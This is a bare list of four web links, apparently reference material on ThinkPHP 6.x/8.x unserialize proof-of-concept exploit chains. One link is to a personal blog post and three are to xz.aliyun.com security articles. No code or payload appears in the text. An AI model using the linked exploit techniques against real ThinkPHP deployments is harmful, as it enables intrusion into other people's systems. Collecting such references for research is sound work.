https://pankas.top/2024/10/01/tp6-x-tp8-unserialize-poc/#thinkphp6-x
https://xz.aliyun.com/t/6619?time__1311=n4%2BxnD0Dg7%3D7wxWqGNnmDUxYwRx0OEggbD&u_atoken=80cbfd195a53222a9d778cba0611eb88&u_asig=1a0c399817297597242633053e00a7#toc-2
https://xz.aliyun.com/t/12630?time__1311=GqGxuDRiiQemqGN4CxUxOFKG%3Dc%2Bt8rD#toc-0
https://xz.aliyun.com/t/15582?time__1311=Gqjxn7it0%3DexlxGgx%2BOxmorbKi%3DGO%2B3bfeD